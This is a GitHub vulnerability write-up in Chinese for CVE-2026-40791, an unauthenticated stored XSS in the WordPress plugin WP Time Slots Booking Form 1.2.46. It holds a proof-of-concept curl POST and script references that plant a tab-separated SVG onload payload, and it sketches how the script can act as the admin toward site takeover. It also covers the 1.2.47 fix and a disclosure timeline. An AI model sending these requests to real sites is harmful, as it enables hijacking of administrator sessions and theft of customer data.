Rat5ak/CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS
GitHub: Rat5ak/CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS
该项目复现了 WordPress 预约插件 WP Time Slots Booking Form 中一个利用制表符绕过解析器的未授权存储型 XSS 漏洞。
Stars: 0 | Forks: 0
# CVE-2026-40791:一个预约时段引发的 Admin XSS
我在 WordPress 的 WP Time Slots Booking Form 插件中发现了一个未授权的存储型 XSS。公开的预约提交内容控制了已存储时段值的一部分。该插件随后将该值输出到管理员的 Booking Orders 页面中,且未进行转义。
原理很简单:该插件使用字面空格来分割提交的预约字符串,但 HTML 会将标签名和属性之间的制表符视为空白字符。因此,`8:
'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
```
没有任何转义。SVG 标签的 `onload` 事件会在管理员页面中触发。
这不仅仅是“我能读取管理员的 cookie 吗?”的问题。现代 WordPress 的认证 cookie 通常是 `HttpOnly` 的,因此 `document.cookie` 可能无法获取到真实的 `wordpress_sec_*` cookie。关键在于,该脚本运行在经过认证的管理员源(admin-origin)页面中。它可以抓取同源的管理员页面、读取暴露的 nonce,并从受害者的浏览器发送经过认证的管理员请求。
## 漏洞详情
存在漏洞的流程如下:
```
unauthenticated POST
-> fieldname1_1
-> extract_appointments()
-> explode(' ', $input)[1]
-> $apps[]['slot']
-> serialize()
-> wp_cptslotsbk_messages.posted_data
-> unserialize()
-> Booking Orders appointment badge
-> unescaped HTML output
```
解析器假设该时段值只是纯文本。但事实并非如此。它是攻击者提供的输入,并最终会落入 HTML 上下文中。
存在漏洞的输出点(sink)位于 `cp-admin-int-message-list.inc.php`:
```
$appts .= '
' .
'' .
''.$this->format_date($posted_data["apps"][$k]["date"]).' '.$posted_data["apps"][$k]["slot"].'' .
...
echo $appts.'
'.$data; // phpcs:ignore WordPress.Security.EscapeOutput
```
那句 `phpcs:ignore WordPress.Security.EscapeOutput` 就是一切的根源。在输出受攻击者控制的预约数据时,转义警告被强行忽略了。
## 触发方式
Payload 的形式:
```
8:
```
为什么它能生效:
```
PHP explode(' ', ...)
"8:onload=...>" stays one token
Browser HTML parser
onload=...> becomes
```
时段解析器获取到了它期望的值。而浏览器则得到了它知道如何执行的 HTML 标签。
## PoC
PowerShell:
```
.\poc\reproduce.ps1 -Target "http://127.0.0.1" -PageId 2
```
Bash:
```
./poc/reproduce.sh "http://127.0.0.1" 2
```
手动 curl:
```
TAB=$'\t'
TARGET="http://127.0.0.1"
PAGE_ID="2"
curl -i -sS "$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "cp_tslotsbooking_pform_process=1" \
--data-urlencode "cp_pform_psequence=_1" \
--data-urlencode "cp_tslotsbooking_id=1" \
--data-urlencode "fieldname1_1=2026-04-15 8: 1 0 0 0 0 0 0" \
--data-urlencode "fieldname2_1=John Doe" \
--data-urlencode "fieldname3_1=attacker@example.com" \
--data-urlencode "fieldname4_1=1234567890" \
--data-urlencode "cp_ref_page=$TARGET/?page_id=$PAGE_ID" \
--data-urlencode "form_structure_1=" \
--data-urlencode "refpage_1=" \
--data-urlencode "cp_tslotsbooking_pform_status="
```
预期结果:
```
HTTP/1.1 302 Found
```
然后以管理员身份登录并打开:
```
WP Time Slots Booking Form -> Booking Orders
```
当已存储的预约记录被渲染时,Payload 就会执行。
## 验证证据
我在一个一次性的本地 WordPress 实验环境中验证了完整的漏洞链:
```
PHP 8.3.31 for Windows
MariaDB 11.4.12 on 127.0.0.1
WordPress
WP Time Slots Booking Form 1.2.46
CAPTCHA disabled on form 1
Public page with [CP_TIME_SLOTS_BOOKING id="1"]
```
PowerShell PoC 成功提交:
```
HTTP status: 302
```
Payload 存入到了 `wp_cptslotsbk_messages.posted_data` 中:
```
slot";s:69:"8:"
```
接着,Headless Chrome 以管理员身份登录,打开了 Booking Orders,并捕获到了由存储的 SVG 事件处理器设置的标记:
```
ADMIN_XSS_EXECUTED
```
在将插件替换为 `1.2.47` 后,我也测试了相同的恶意存储记录。管理员页面将 Payload 作为转义后的纯文本输出:
```
04/15/2026 8:<svg onload=...>
```
没有任何标记被触发:
```
PATCHED_NO_XSS_EXECUTION
```
此外还有一个简单的本地渲染健全性检查:
```
powershell -NoProfile -ExecutionPolicy Bypass -File .\lab\validate-render.ps1
```
它可以在不完整安装 WordPress 的情况下验证这两个核心机制:
```
Parser check OK: literal-space split preserves tabbed SVG in slot index 1.
Browser check OK: tab-separated unquoted SVG onload executed in rendered HTML.
```
## 影响
攻击者不需要任何账号。攻击者只需提交一个公开预约,然后等待管理员查看 Booking Orders。
一旦管理员查看了该页面,攻击者的 JavaScript 就会在管理员的 WordPress 源中运行。真正的攻击者通常不会仅仅停留在 `alert(document.cookie)`。他们会利用管理员的浏览器以管理员的身份执行操作:
```
fetch admin pages
-> read nonces from HTML
-> submit authenticated admin POSTs
-> change site state
```
取决于管理员的能力和站点配置,这可能意味着创建用户、更改插件设置、修改通知接收地址、读取预约/客户数据,或者通过插件/主题功能逐步升级,最终实现完整接管网站。
## 修复方案
`1.2.47` 版本在构建管理员界面的徽章之前,会对已存储的时段值进行转义:
```
- ' '.$posted_data["apps"][$k]["slot"].''
+ ' '.esc_html($posted_data["apps"][$k]["slot"]).''
```
这就修复了输出点漏洞。提前对输入进行清理也是合理的,但核心的安全边界应该是在管理员页面的 HTML 输出上下文中。
## 仓库结构
```
poc/
reproduce.ps1 # PowerShell unauthenticated booking submitter
reproduce.sh # Bash/curl unauthenticated booking submitter
lab/
render-check.html # Minimal vulnerable render fixture
validate-render.ps1 # Parser + browser execution sanity check
README.md
```
## 时间线
| 日期 | 事件 |
|---|---|
| 2026-03-24 | 报告给 Patchstack |
| 2026-04-13 | 补丁验证 |
| 2026-04-23 | Wordfence 发布安全公告 |
| 2026-04-24 | Patchstack 发布安全公告 |
| 2026-04-30 | Wordfence 最后更新条目 |
## 相关资源
* Wordfence 公告:https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-slots-booking-form/wp-time-slots-booking-form-1246-unauthenticated-stored-cross-site-scripting
* Patchstack 条目:https://patchstack.com/database/vulnerability/wp-time-slots-booking-form/wordpress-wp-time-slots-booking-form-plugin-1-2-46-cross-site-scripting-xss-vulnerability
* WordPress 插件:https://wordpress.org/plugins/wp-time-slots-booking-form/
* WordPress 认证 cookie 源码:https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/
* 存在漏洞的源码:https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.46/
* 已修复的源码:https://plugins.svn.wordpress.org/wp-time-slots-booking-form/tags/1.2.47/
*CVE-2026-40791 - 在 WP Time Slots Booking Form 1.2.47 中修复。受影响版本:1.2.46 及更早版本。*
*Daniel Wade - [GitHub](https://github.com/Rat5ak) - [Twitter/X](https://x.com/Nadsec11) - [Bluesky](https://bsky.app/profile/nadsec.online) - [Mastodon](https://cyberplace.social/@Nadsec) - [Medium](https://medium.com/@Nadsec) - [nadsec.online](https://nadsec.online)*
标签:AI合规, Libemu, Web安全, WordPress插件, 应用安全, 文件完整性监控, 漏洞分析, 漏洞复现, 自动化分析, 蓝队分析, 跨站脚本, 路径探测